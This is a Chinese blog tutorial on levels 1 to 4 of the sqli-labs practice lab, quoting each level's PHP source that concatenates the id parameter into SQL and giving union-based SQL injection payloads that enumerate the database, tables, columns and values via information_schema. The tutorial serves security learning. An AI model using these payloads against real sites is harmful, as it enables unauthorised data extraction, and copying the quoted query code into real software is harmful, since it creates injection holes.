美文网首页
sqli-labs level1-level4教程

sqli-labs level1-level4教程

作者: z1挂东南 | 来源:发表于2019-07-24 13:43 被阅读0次

    把sqli-labs的第1关到第4关放在一块写是因为它们都是显错注入,只不过闭合的符号不同而已。


    1.png

    level1——单引号字符串型

    源码:

    if(isset($_GET['id']))
    {
        $id=$_GET['id'];
        $sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
    

    可以看到是单引号闭合,将单引号闭合就好了。
    ?id=1' order by 3查询到有3个字段。
    查询数据库:?id=1' union select 1,2,database()
    查询数据表:?id=1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='数据库名'
    查询字段名:?id=1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='数据表名'
    查询值:?id=1' union select 1,group_concat(字段名1),group_concat(字段名2) from '表名'

    level2——数字型

    源码:

    if(isset($_GET['id']))
    {
        $id=$_GET['id'];
        $sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
    

    根据源码可以看到本官不需要闭合符号。思路和第一关一样,把第一关中用于闭合的单引号去掉就好了。

    level3——单引号括号字符串型

    源码:

    if(isset($_GET['id']))
    {
        $id=$_GET['id'];
        $sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";
    

    根据源码,本关是单引号加括号闭合,思路与第一关一样,把第一关中用于闭合的单引号改成单引号加括号就好了。

    levle4——双引号括号字符串型

    源码:

    if(isset($_GET['id']))
    {
        $id=$_GET['id'];
        $id = '"' . $id . '"';
        $sql="SELECT * FROM users WHERE id=($id) LIMIT 0,1";
    

    源码中,先GET到id的值,然后给id值加上一对双引号再放到sql语句中,sql语句中id的值又被括号扩了起来,所以闭合就是双引号加括号闭合,思路和第一关一样。

    相关文章

      网友评论

          本文标题:sqli-labs level1-level4教程

          本文链接:https://www.haomeiwen.com/subject/szhxrctx.html